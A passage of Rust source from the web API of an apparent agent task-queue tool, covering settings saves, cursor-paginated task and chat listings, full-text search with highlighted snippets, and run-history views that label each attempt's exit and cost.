5267 body: std::result::Result<Json<RolesBody>, JsonRejection>,
5268) -> ApiResult<Json<settings::SettingsView>> {
5269 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5270 blocking(move || {
5271 let (repo, known) = settings_context(&ui, q)?;
5272 settings::save_with_repos(
5273 &repo,
5274 ui.machine_config.as_deref(),
5275 &body.revision,
5276 &body.roles,
5277 &body.counts,
5278 &known,
5279 )
5280 .map(Json)
5281 .map_err(|e| match e {
5282 settings::SaveError::Conflict(m) => ApiError::conflict(m),
5283 settings::SaveError::Refused(m) => ApiError {
5284 text_reason: None,
5285 status: StatusCode::UNPROCESSABLE_ENTITY,
5286 message: m,
5287 },
5288 settings::SaveError::Internal(m) => ApiError::internal(m),
5289 })
5290 })
5291 .await
5292}
5293
5294async fn queue_list(
5295 State(ui): State<Arc<Ui>>,
5296 Query(q): Query<ListQuery>,
5297) -> ApiResult<Json<Vec<TaskView>>> {
5298 blocking(move || {
5299 let tasks = ui.queue.list();
5300 let inv =
5301 crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5302 Ok(Json(
5303 tasks
5304 .into_iter()
5305 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5306 .map(|t| TaskView::with_inventory(t, &inv))
5307 .collect(),
5308 ))
5309 })
5310 .await
5311}
5312
5313#[derive(Debug, Default, Deserialize)]
5318struct PageQuery {
5319 before: Option<String>,
5320}
5321
5322#[derive(Serialize)]
5323struct StorePage<T> {
5324 rows: Vec<T>,
5325 next: Option<String>,
5326}
5327
5328const STORE_PAGE_SIZE: usize = 16;
5329
5330#[derive(Debug)]
5334struct ListWalk {
5335 token: u64,
5336 talks: bool,
5337 opened: std::time::Instant,
5338 ids: Arc<Vec<String>>,
5339 initial_end: usize,
5340}
5341
5342fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5343 page_ids_with(ui, talks, q, open_talk_ids)
5344}
5345
5346fn page_ids_with(
5347 ui: &Ui,
5348 talks: bool,
5349 q: PageQuery,
5350 classify: impl FnOnce(&Ui, &[String]) -> std::collections::HashSet<String>,
5351) -> ApiResult<(Vec<String>, Option<String>)> {
5352 let mut walks = ui
5353 .monitor
5354 .list_walks
5355 .lock()
5356 .unwrap_or_else(PoisonError::into_inner);
5357 walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5358 let (token, ids, offset, initial_end) = if let Some(cursor) = q.before {
5359 let (token, offset) = cursor
5360 .split_once(':')
5361 .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5362 let token = token
5363 .parse::<u64>()
5364 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5365 let offset = offset
5366 .parse::<usize>()
5367 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5368 let walk = walks
5369 .iter()
5370 .find(|walk| walk.token == token && walk.talks == talks)
5371 .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5372 (token, walk.ids.clone(), offset, walk.initial_end)
5373 } else {
5374 drop(walks);
5377 let root = if talks {
5378 ui.talks.root()
5379 } else {
5380 ui.queue.root()
5381 };
5382 let mut ids = crate::queue::record_ids(root, "json")?;
5383 ids.sort_unstable_by(|a, b| b.cmp(a));
5384 let initial_end = if talks {
5385 let open = classify(ui, &ids);
5386 ids.sort_by_key(|id| !open.contains(id));
5389 open.len().saturating_add(STORE_PAGE_SIZE).min(ids.len())
5390 } else {
5391 STORE_PAGE_SIZE.min(ids.len())
5392 };
5393 let ids = Arc::new(ids);
5394 walks = ui
5395 .monitor
5396 .list_walks
5397 .lock()
5398 .unwrap_or_else(PoisonError::into_inner);
5399 walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5400 let mut token = crate::rng::entropy();
5401 while walks.iter().any(|walk| walk.token == token) {
5402 token = crate::rng::entropy();
5403 }
5404 if walks.len() >= 16 {
5407 walks.remove(0);
5408 }
5409 walks.push(ListWalk {
5410 token,
5411 talks,
5412 opened: std::time::Instant::now(),
5413 ids: ids.clone(),
5414 initial_end,
5415 });
5416 (token, ids, 0, initial_end)
5417 };
5418 if offset > ids.len() {
5419 return Err(ApiError::bad_request("Invalid list cursor"));
5420 }
5421 let end = if offset == 0 {
5422 initial_end
5423 } else {
5424 offset.saturating_add(STORE_PAGE_SIZE).min(ids.len())
5425 };
5426 let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5427 Ok((ids[offset..end].to_vec(), next))
5428}
5429
5430async fn queue_page(
5431 State(ui): State<Arc<Ui>>,
5432 Query(q): Query<PageQuery>,
5433) -> ApiResult<Json<StorePage<TaskView>>> {
5434 blocking(move || {
5435 let (ids, next) = page_ids(&ui, false, q)?;
5436 let tasks: Vec<_> = ids
5437 .into_iter()
5438 .filter_map(|id| ui.queue.get(&id).ok())
5439 .collect();
5440 let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5441 let rows = tasks
5442 .into_iter()
5443 .map(|task| TaskView::with_inventory(task, &inv))
5444 .collect();
5445 Ok(Json(StorePage { rows, next }))
5446 })
5447 .await
5448}
5449
5450#[derive(Debug, Clone, Serialize)]
5453struct TalkListView {
5454 title: Option<talk::ChatTitle>,
5455 id: String,
5456 repo: PathBuf,
5457 agent: String,
5458 status: talk::TalkStatus,
5459 turns: Vec<TalkListTurn>,
5460 turn_count: usize,
5461 unread_count: usize,
5462 context: talk::ContextUsage,
5463 #[serde(skip)]
5464 agent_times: Vec<Timestamp>,
5465 thinking: bool,
5466 created_at: Timestamp,
5467 updated_at: Timestamp,
5468}
5469
5470#[derive(Debug, Clone, Serialize)]
5471struct TalkListTurn {
5472 who: talk::Who,
5473 at: Timestamp,
5474 body: String,
5475}
5476
5477fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5478 let reads: HashMap<String, Timestamp> = headers
5479 .get("x-talk-reads")
5480 .and_then(|v| v.to_str().ok())
5481 .and_then(|v| serde_json::from_str(v).ok())
5482 .unwrap_or_default();
5483 let mut index = ui
5484 .monitor
5485 .talk_index
5486 .lock()
5487 .unwrap_or_else(PoisonError::into_inner);
5488 if index.len() > 1000 {
5490 let keep: HashSet<&str> = ids.iter().map(String::as_str).collect();
5491 index.retain(|id, (_, row)| keep.contains(id.as_str()) || row.status.open());
5492 if index.len() > 1000 {
5493 index.retain(|id, _| keep.contains(id.as_str()));
5494 }
5495 }
5496 ids.into_iter()
5497 .filter_map(|id| {
5498 let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5499 if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5500 let talk = ui.talks.get(&id).ok()?;
5501 #[cfg(test)]
5502 ui.monitor
5503 .talk_parses
5504 .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5505 let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5506 let last = talk.turns.len().checked_sub(1);
5507 let turns = talk
5508 .turns
5509 .iter()
5510 .enumerate()
5511 .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5512 .map(|(_, t)| TalkListTurn {
5513 who: t.who,
5514 at: t.at,
5515 body: t
5516 .body
5517 .lines()
5518 .next()
5519 .unwrap_or_default()
5520 .chars()
5521 .take(240)
5522 .collect(),
5523 })
5524 .collect();
5525 let row = TalkListView {
5526 title: talk.title.clone(),
5527 agent_times: talk
5528 .turns
5529 .iter()
5530 .filter(|t| t.who == talk::Who::Agent)
5531 .map(|t| t.at)
5532 .collect(),
5533 turn_count: talk.turns.len(),
5534 unread_count: 0,
5535 context: talk::context_usage(&talk, None),
5536 turns,
5537 thinking: false,
5538 id: talk.id,
5539 repo: talk.repo,
5540 agent: talk.agent,
5541 status: talk.status,
5542 created_at: talk.created_at,
5543 updated_at: talk.updated_at,
5544 };
5545 index.insert(id.clone(), (identity, row));
5546 }
5547 let row = &index.get(&id)?.1;
5548 let mut row = TalkListView {
5549 title: row.title.clone(),
5550 unread_count: row
5551 .agent_times
5552 .iter()
5553 .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5554 .count(),
5555 agent_times: Vec::new(),
5556 id: row.id.clone(),
5557 repo: row.repo.clone(),
5558 agent: row.agent.clone(),
5559 status: row.status,
5560 context: row.context.clone(),
5561 turns: row.turns.clone(),
5562 turn_count: row.turn_count,
5563 thinking: false,
5564 created_at: row.created_at,
5565 updated_at: row.updated_at,
5566 };
5567 row.thinking = ui.is_thinking(&id);
5568 Some(row)
5569 })
5570 .collect()
5571}
5572
5573async fn talks_page(
5574 State(ui): State<Arc<Ui>>,
5575 Query(q): Query<PageQuery>,
5576 headers: header::HeaderMap,
5577) -> ApiResult<Json<StorePage<TalkListView>>> {
5578 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5579 let (ids, next) = page_ids(&ui, true, q)?;
5580 Ok(Json(StorePage {
5581 rows: talk_rows(&ui, ids, &headers),
5582 next,
5583 }))
5584 })
5585 .await
5586}
5587
5588async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5589 blocking(move || {
5590 let tasks = ui.indexed_tasks()?;
5591 Ok(Json(TaskCountsView::from(
5592 crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5593 )))
5594 })
5595 .await
5596}
5597
5598const SEARCH_MAX_HITS: usize = 100;
5600const SEARCH_MAX_QUERY: usize = 200;
5602const SEARCH_MAX_TERMS: usize = 8;
5603const SNIPPET_BEFORE: usize = 50;
5605const SNIPPET_AFTER: usize = 110;
5606
5607#[derive(Debug, Deserialize)]
5609struct SearchQuery {
5610 #[serde(default)]
5611 scope: String,
5612 #[serde(default)]
5613 q: String,
5614}
5615
5616#[derive(Debug, Serialize, PartialEq, Eq)]
5619struct SnippetPart {
5620 text: String,
5621 hit: bool,
5622}
5623
5624#[derive(Debug, Serialize)]
5626struct ChatSearchTarget {
5627 turn: usize,
5628 message: usize,
5629 at: String,
5630 text: String,
5631}
5632
5633fn chat_text_key(body: &str) -> String {
5634 let hash = body.chars().fold(2166136261_u32, |hash, c| {
5635 (hash ^ u32::from(c)).wrapping_mul(16777619)
5636 });
5637 format!("{hash:08x}:{}", body.chars().count())
5638}
5639
5640#[derive(Debug, Serialize)]
5641struct SearchHit {
5642 #[serde(skip_serializing_if = "Option::is_none")]
5643 target: Option<ChatSearchTarget>,
5644 id: String,
5645 field: String,
5647 snippet: Vec<SnippetPart>,
5648 #[serde(skip_serializing_if = "Option::is_none")]
5652 run: Option<RunSummary>,
5653}
5654
5655#[derive(Debug, Serialize)]
5656struct SearchView {
5657 scope: String,
5658 q: String,
5659 hits: Vec<SearchHit>,
5661 total: usize,
5663 truncated: bool,
5664 unreadable: usize,
5667}
5668
5669fn text_leaves<'a>(
5672 value: &'a serde_json::Value,
5673 field: &'a str,
5674 out: &mut Vec<(&'a str, &'a str)>,
5675) {
5676 match value {
5677 serde_json::Value::String(s) => out.push((field, s)),
5678 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5679 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5680 _ => {}
5681 }
5682}
5683
5684fn fold_char(c: char) -> char {
5687 c.to_lowercase().next().unwrap_or(c)
5688}
5689
5690fn search_terms(q: &str) -> Vec<String> {
5692 let mut terms: Vec<String> = Vec::new();
5693 for t in q.split_whitespace() {
5694 let t = t.to_lowercase();
5695 if !terms.contains(&t) {
5696 terms.push(t);
5697 }
5698 }
5699 terms
5700}
5701
5702fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5705 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5706 let mut first: Option<usize> = None;
5707 for term in terms {
5708 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5709 first = Some(first.map_or(at, |f| f.min(at)));
5710 }
5711 let (field, text) = leaves[first?];
5713 Some(SearchHit {
5714 id: String::new(),
5715 target: None,
5716 field: field.to_owned(),
5717 snippet: snippet_of(text, terms),
5718 run: None,
5719 })
5720}
5721
5722fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5725 let chars: Vec<char> = text.chars().collect();
5726 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5727 let needles: Vec<Vec<char>> = terms
5728 .iter()
5729 .map(|t| t.chars().map(fold_char).collect())
5730 .collect();
5731 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5732 let mut best: Option<(usize, usize)> = None;
5733 for n in needles.iter().filter(|n| !n.is_empty()) {
5734 if n.len() > chars.len() || to == 0 {
5738 continue;
5739 }
5740 let last = (to - 1).min(chars.len() - n.len());
5741 if from > last {
5742 continue;
5743 }
5744 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5745 && best.is_none_or(|(b, _)| i < b)
5746 {
5747 best = Some((i, i + n.len()));
5748 }
5749 }
5750 best
5751 };
5752 let Some((start, _)) = find(0, chars.len()) else {
5753 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5755 return vec![SnippetPart {
5756 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5757 hit: false,
5758 }];
5759 };
5760 let lo = start.saturating_sub(SNIPPET_BEFORE);
5761 let hi = (start + SNIPPET_AFTER).min(chars.len());
5762 let mut parts: Vec<SnippetPart> = Vec::new();
5763 let mut push = |s: &[char], hit: bool| {
5764 if s.is_empty() {
5765 return;
5766 }
5767 let text: String = s.iter().collect();
5768 match parts.last_mut() {
5769 Some(p) if p.hit == hit => p.text.push_str(&text),
5770 _ => parts.push(SnippetPart { text, hit }),
5771 }
5772 };
5773 if lo > 0 {
5774 push(&['\u{2026}'], false);
5775 }
5776 let mut at = lo;
5777 while at < hi {
5778 match find(at, hi) {
5779 Some((s, e)) => {
5780 push(&chars[at..s], false);
5781 let shown = e.min(hi);
5783 push(&chars[s..shown], true);
5784 at = shown;
5785 }
5786 None => {
5787 push(&chars[at..hi], false);
5788 at = hi;
5789 }
5790 }
5791 }
5792 if hi < chars.len() {
5793 push(&['\u{2026}'], false);
5794 }
5795 let mut prev_space = false;
5798 for p in &mut parts {
5799 let mut out = String::with_capacity(p.text.len());
5800 for c in p.text.chars() {
5801 if c.is_whitespace() {
5802 if !prev_space {
5803 out.push(' ');
5804 }
5805 prev_space = true;
5806 } else {
5807 out.push(c);
5808 prev_space = false;
5809 }
5810 }
5811 p.text = out;
5812 }
5813 parts.retain(|p| !p.text.is_empty());
5814 parts
5815}
5816
5817fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5819where
5820 I: IntoIterator<Item = (String, serde_json::Value)>,
5821{
5822 for (id, doc) in docs {
5823 let mut leaves = Vec::new();
5824 leaves.push(("id", id.as_str()));
5827 text_leaves(&doc, "", &mut leaves);
5828 if let Some(mut hit) = search_document(terms, &leaves) {
5829 view.total += 1;
5830 if view.hits.len() < SEARCH_MAX_HITS {
5831 hit.id = id;
5832 view.hits.push(hit);
5833 }
5834 }
5835 }
5836 view.truncated = view.total > view.hits.len();
5837}
5838
5839fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5845 let opener = talk
5846 .title
5847 .as_ref()
5848 .filter(|t| !t.text.is_empty())
5849 .map(|t| t.text.as_str())
5850 .or_else(|| {
5851 talk.turns
5852 .iter()
5853 .find(|t| t.who == talk::Who::Operator)
5854 .map(|t| t.body.as_str())
5855 })
5856 .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5857 .unwrap_or("");
5858 let title: String = if opener.chars().count() > 96 {
5859 opener.chars().take(95).chain(['\u{2026}']).collect()
5860 } else {
5861 opener.to_owned()
5862 };
5863 let turns: Vec<serde_json::Value> = talk
5864 .turns
5865 .iter()
5866 .flat_map(|t| {
5867 let label = |message| match talk::sender(t, message) {
5868 talk::Sender::External => "external",
5869 _ => match t.who {
5870 talk::Who::Operator => "operator",
5871 talk::Who::Agent => "agent",
5872 },
5873 };
5874 if t.messages.is_empty() {
5875 vec![serde_json::json!({ label(None): t.body })]
5876 } else {
5877 t.messages
5878 .iter()
5879 .map(|m| serde_json::json!({ label(Some(m)): m.body }))
5880 .collect()
5881 }
5882 })
5883 .collect();
5884 serde_json::json!({ "title": title, "turns": turns })
5885}
5886
5887fn search_chat(terms: &[String], talk: &Talk) -> Option<SearchHit> {
5888 let doc = talk_search_doc(talk);
5889 let mut leaves = vec![("id", talk.id.as_str())];
5890 text_leaves(&doc, "", &mut leaves);
5891 let mut hit = search_document(terms, &leaves)?;
5892 let leaf = leaves
5894 .iter()
5895 .position(|(_, text)| terms.iter().any(|term| text.to_lowercase().contains(term)))?;
5896 let messages: Vec<_> = talk
5897 .turns
5898 .iter()
5899 .enumerate()
5900 .flat_map(|(i, turn)| {
5901 let bodies: Vec<&str> = if turn.messages.is_empty() {
5902 vec![turn.body.as_str()]
5903 } else {
5904 turn.messages.iter().map(|m| m.body.as_str()).collect()
5905 };
5906 bodies
5907 .into_iter()
5908 .enumerate()
5909 .map(move |(j, body)| (i, j, turn, body))
5910 })
5911 .collect();
5912 let target = leaf
5913 .checked_sub(2)
5914 .and_then(|i| messages.get(i))
5915 .or_else(|| {
5916 if leaf != 1 || talk.title.as_ref().is_some_and(|t| !t.text.is_empty()) {
5919 return None;
5920 }
5921 let (index, opener) = talk
5922 .turns
5923 .iter()
5924 .enumerate()
5925 .find(|(_, turn)| turn.who == talk::Who::Operator)?;
5926 let line = opener
5927 .body
5928 .lines()
5929 .map(str::trim)
5930 .find(|line| !line.is_empty())?;
5931 messages.iter().find(|(i, _, _, body)| {
5932 *i == index
5933 && body.lines().map(str::trim).find(|line| !line.is_empty()) == Some(line)
5934 })
5935 });
5936 if let Some((i, j, turn, body)) = target {
5937 hit.target = Some(ChatSearchTarget {
5938 turn: *i,
5939 message: *j,
5940 at: turn.at.to_string(),
5941 text: chat_text_key(body),
5942 });
5943 }
5944 hit.id = talk.id.clone();
5945 Some(hit)
5946}
5947
5948async fn search_get(
5955 State(ui): State<Arc<Ui>>,
5956 Query(q): Query<SearchQuery>,
5957) -> ApiResult<Json<SearchView>> {
5958 let query = q.q.trim().to_owned();
5959 if query.is_empty() {
5960 return Err(ApiError::bad_request("q must not be empty"));
5961 }
5962 if query.chars().count() > SEARCH_MAX_QUERY {
5963 return Err(ApiError::bad_request(format!(
5964 "q is longer than {SEARCH_MAX_QUERY} characters"
5965 )));
5966 }
5967 let terms = search_terms(&query);
5968 if terms.len() > SEARCH_MAX_TERMS {
5969 return Err(ApiError::bad_request(format!(
5970 "q has more than {SEARCH_MAX_TERMS} terms"
5971 )));
5972 }
5973 let scope = q.scope;
5974 if scope != "runs" && scope != "tasks" && scope != "chats" {
5975 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5976 }
5977 blocking(move || {
5978 let mut view = SearchView {
5979 scope: scope.clone(),
5980 q: query,
5981 hits: Vec::new(),
5982 total: 0,
5983 truncated: false,
5984 unreadable: 0,
5985 };
5986 if scope == "runs" {
5987 let mut unreadable = 0;
5988 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5992 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5993 match body.and_then(|b| serde_json::from_str(&b).ok()) {
5994 Some(v) => Some((id, v)),
5995 None => {
5996 unreadable += 1;
5997 None
5998 }
5999 }
6000 });
6001 search_docs(&terms, docs, &mut view);
6002 view.unreadable = unreadable;
6003 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
6006 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6007 for hit in &mut view.hits {
6008 if let Ok(state) = read_run(&ui.runs, &hit.id) {
6009 hit.run = summarize(
6010 [state],
6011 &open_runs,
6012 &claimed,
6013 &superseded,
6014 |p| probe.borrow_mut().status(p),
6015 |p| probe.borrow_mut().started_at(p),
6016 )
6017 .pop();
6018 }
6019 }
6020 } else if scope == "chats" {
6021 let (talks, unreadable) = ui.talks.list_counting_unreadable();
6022 view.unreadable = unreadable;
6023 for talk in &talks {
6024 if let Some(hit) = search_chat(&terms, talk) {
6025 view.total += 1;
6026 if view.hits.len() < SEARCH_MAX_HITS {
6027 view.hits.push(hit);
6028 }
6029 }
6030 }
6031 view.truncated = view.total > view.hits.len();
6032 } else {
6033 let docs = ui.queue.list().into_iter().filter_map(|t| {
6034 let mut v = serde_json::to_value(&t).ok()?;
6035 if let Some(o) = v.as_object_mut() {
6038 o.insert("filed_by".to_owned(), t.source.label().into());
6039 }
6040 Some((t.id, v))
6041 });
6042 search_docs(&terms, docs, &mut view);
6043 }
6044 Ok(Json(view))
6045 })
6046 .await
6047}
6048
6049#[derive(Debug, Serialize)]
6051struct TaskRunView {
6052 activity: Option<String>,
6053 n: usize,
6055 id: String,
6056 short: String,
6057 kind: &'static str,
6059 status: Option<&'static str>,
6061 readable: bool,
6063 provisional: bool,
6065 description: String,
6067 outcome: String,
6069 created_at: Option<Timestamp>,
6070 pr: Option<String>,
6071 exit: RunExit,
6073 attempt: AttemptCost,
6075 exit_label: String,
6078 later_pass: Option<usize>,
6081 pass_n: usize,
6085 passes_of_run: usize,
6086 pass: Option<PassView>,
6089 branch: Option<String>,
6091 badge: Option<String>,
6094}
6095
6096#[derive(Debug, Clone, PartialEq, Serialize)]
6098struct PassView {
6099 index: usize,
6100 resumed: bool,
6101 started_at: Timestamp,
6102 ended_at: Option<Timestamp>,
6103 end: &'static str,
6105 cause: Option<crate::run::ParkCause>,
6106 label: String,
6108 cost: Option<crate::queue::PassCost>,
6111}
6112
6113impl PassView {
6114 fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
6115 use crate::run::PassEnd;
6116 let (end, cause, label) = match &p.end {
6117 None => ("open", None, "still open".to_owned()),
6118 Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
6119 Some(PassEnd::Unrecorded) => (
6120 "unrecorded",
6121 None,
6122 "stopped without recording why (a crash, a kill or a restart; not known)"
6123 .to_owned(),
6124 ),
6125 };
6126 Self {
6127 index: p.index,
6128 resumed: p.resumed,
6129 started_at: p.started_at,
6130 ended_at: p.ended_at,
6131 end,
6132 cause,
6133 label,
6134 cost: settled.map(|t| t.cost),
6135 }
6136 }
6137}
6138
6139#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6141#[serde(rename_all = "snake_case")]
6142enum RunExit {
6143 Unreadable,
6144 Interrupted,
6146 Parked,
6147 MachineBlocked,
6148 QuotaStall,
6149 ResumedQuotaStall,
6153 Merged,
6154 Ready,
6155 Superseded,
6156 AlreadyInBase,
6159 Stalled,
6161 HeldWithPr,
6163 NoopHeld,
6164 Spent,
6166 InProgress,
6167}
6168
6169#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6170#[serde(rename_all = "snake_case")]
6171enum AttemptCost {
6172 Spent,
6173 Refunded,
6174 None,
6175 Unknown,
6177}
6178
6179impl RunExit {
6180 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
6181 let Some(s) = s else {
6182 return Self::Unreadable;
6183 };
6184 let status = s.status;
6185 if resumed_later {
6186 Self::Interrupted
6187 } else if s.parked {
6188 Self::Parked
6189 } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6190 Self::MachineBlocked
6191 } else if !status.done() {
6192 Self::InProgress
6193 } else if matches!(status, RunStatus::Merged) {
6194 Self::Merged
6195 } else if matches!(status, RunStatus::Ready) {
6196 Self::Ready
6197 } else if matches!(status, RunStatus::Superseded) {
6198 Self::Superseded
6199 } else if matches!(status, RunStatus::AlreadyInBase) {
6200 Self::AlreadyInBase
6201 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6202 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6203 {
6204 if resumed {
6205 Self::ResumedQuotaStall
6206 } else {
6207 Self::QuotaStall
6208 }
6209 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6210 Self::HeldWithPr
6211 } else if matches!(status, RunStatus::VerifiedNoop) {
6212 Self::NoopHeld
6213 } else if matches!(status, RunStatus::Stalled) {
6214 Self::Stalled
6215 } else {
6216 Self::Spent
6217 }
6218 }
6219
6220 fn cost(self) -> AttemptCost {
6221 match self {
6222 Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
6223 Self::Merged
6224 | Self::Ready
6225 | Self::Stalled
6226 | Self::HeldWithPr
6227 | Self::NoopHeld
6228 | Self::Spent => AttemptCost::Spent,
6229 Self::InProgress => AttemptCost::None,
6230 Self::AlreadyInBase => AttemptCost::Refunded,
6231 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
6232 AttemptCost::Unknown
6233 }
6234 }
6235 }
6236
6237 fn edge_label(self, status: Option<&str>) -> String {
6239 match self {
6240 Self::Unreadable => "record unreadable".to_owned(),
6241 Self::Interrupted => "interrupted before the run finished".to_owned(),
6242 Self::Parked => "parked, attempt refunded".to_owned(),
6243 Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
6244 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
6245 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
6246 Self::Merged => "merged".to_owned(),
6247 Self::Ready => "ready, not merged".to_owned(),
6248 Self::Superseded => "superseded by a later attempt".to_owned(),
6249 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
6250 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
6251 Self::HeldWithPr => "blocked, PR left open".to_owned(),
6252 Self::NoopHeld => "verified no-op".to_owned(),
6253 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
6254 Self::InProgress => "in progress".to_owned(),
6255 }
6256 }
6257
6258 fn explains(self, end: TaskStatus) -> bool {
6261 match self {
6262 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
6263 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
6264 Self::Unreadable | Self::Superseded | Self::Ready => true,
6265 _ => end != TaskStatus::Done,
6266 }
6267 }
6268}
6269
6270#[derive(Debug, Serialize)]
6272struct TaskDetailView {
6273 #[serde(flatten)]
6274 task: TaskView,
6275 max_attempts: usize,
6278 history: Vec<TaskRunView>,
6279 passes_total: usize,
6282 runs_distinct: usize,
6284 flow: FlowView,
6285 followup_origin: Option<FollowUpOrigin>,
6287 runs_unreadable: usize,
6289 attempts_note: &'static str,
6291}
6292
6293const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
6294and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
6295on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
6296the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
6297
6298fn review_branch_of(instruction: &str) -> Option<&str> {
6301 let rest = instruction.strip_prefix("Review the work already on branch `")?;
6302 rest.split('`').next().filter(|b| !b.is_empty())
6303}
6304
6305#[derive(Default)]
6307struct RunSlot<'a> {
6308 n: usize,
6310 resumed: bool,
6312 resumed_later: Option<usize>,
6314 prior: Option<(&'a str, RunStatus)>,
6316 last: bool,
6317 pass: Option<&'a crate::run::RunPass>,
6319 settled: Option<&'a crate::queue::TaskPass>,
6321 pass_n: usize,
6323 passes_of_run: usize,
6324}
6325
6326fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
6329 let RunSlot {
6330 n,
6331 resumed,
6332 resumed_later,
6333 prior,
6334 last,
6335 pass,
6336 settled,
6337 pass_n,
6338 passes_of_run,
6339 } = at;
6340 let short = run::short_of(id).to_owned();
6341 let Some(s) = state else {
6342 return TaskRunView {
6343 activity: None,
6344 n,
6345 id: id.to_owned(),
6346 short,
6347 kind: "unknown",
6348 status: None,
6349 readable: false,
6350 provisional: false,
6351 description:
6352 "This run's record could not be read by this build (written by a different \
6353 magi, or removed), so what kind of attempt it was is unknown."
6354 .to_owned(),
6355 outcome: String::new(),
6356 created_at: None,
6357 pr: None,
6358 exit: RunExit::Unreadable,
6359 attempt: AttemptCost::Unknown,
6360 exit_label: RunExit::Unreadable.edge_label(None),
6361 later_pass: resumed_later,
6362 pass_n,
6363 passes_of_run,
6364 pass: None,
6365 branch: None,
6366 badge: None,
6367 };
6368 };
6369 let branch = review_branch_of(&s.instruction);
6370 let kind = if resumed {
6371 "resume"
6372 } else if branch.is_some() {
6373 "review"
6374 } else if task.solo || s.candidates.len() == 1 {
6375 "solo"
6376 } else {
6377 "competition"
6378 };
6379 let mut description = match kind {
6380 "resume" => {
6381 format!("Resumed run {short}: the same run carried on instead of competing again.")
6382 }
6383 "review" => format!(
6384 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6385 branch.unwrap_or_default()
6386 ),
6387 "solo" => "Solo run: one implementer straight into review.".to_owned(),
6388 _ => format!(
6389 "Competition: {} candidates judged blind.",
6390 s.candidates.len().max(1)
6391 ),
6392 };
6393 if !resumed && let Some((p, st)) = prior {
6394 description.push_str(&format!(
6395 " A retry: run {p} before it ended {}.",
6396 st.display_label()
6397 ));
6398 }
6399
6400 let status = s.status;
6401 let provisional = matches!(status, RunStatus::Stalled)
6402 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6403 let head = if resumed_later.is_some() {
6404 String::new()
6405 } else {
6406 match status {
6407 RunStatus::Merged => "Merged.".to_owned(),
6408 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6409 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6410 RunStatus::AlreadyInBase => {
6411 "Already in the base: this change landed under other commits, nothing was left to land."
6412 .to_owned()
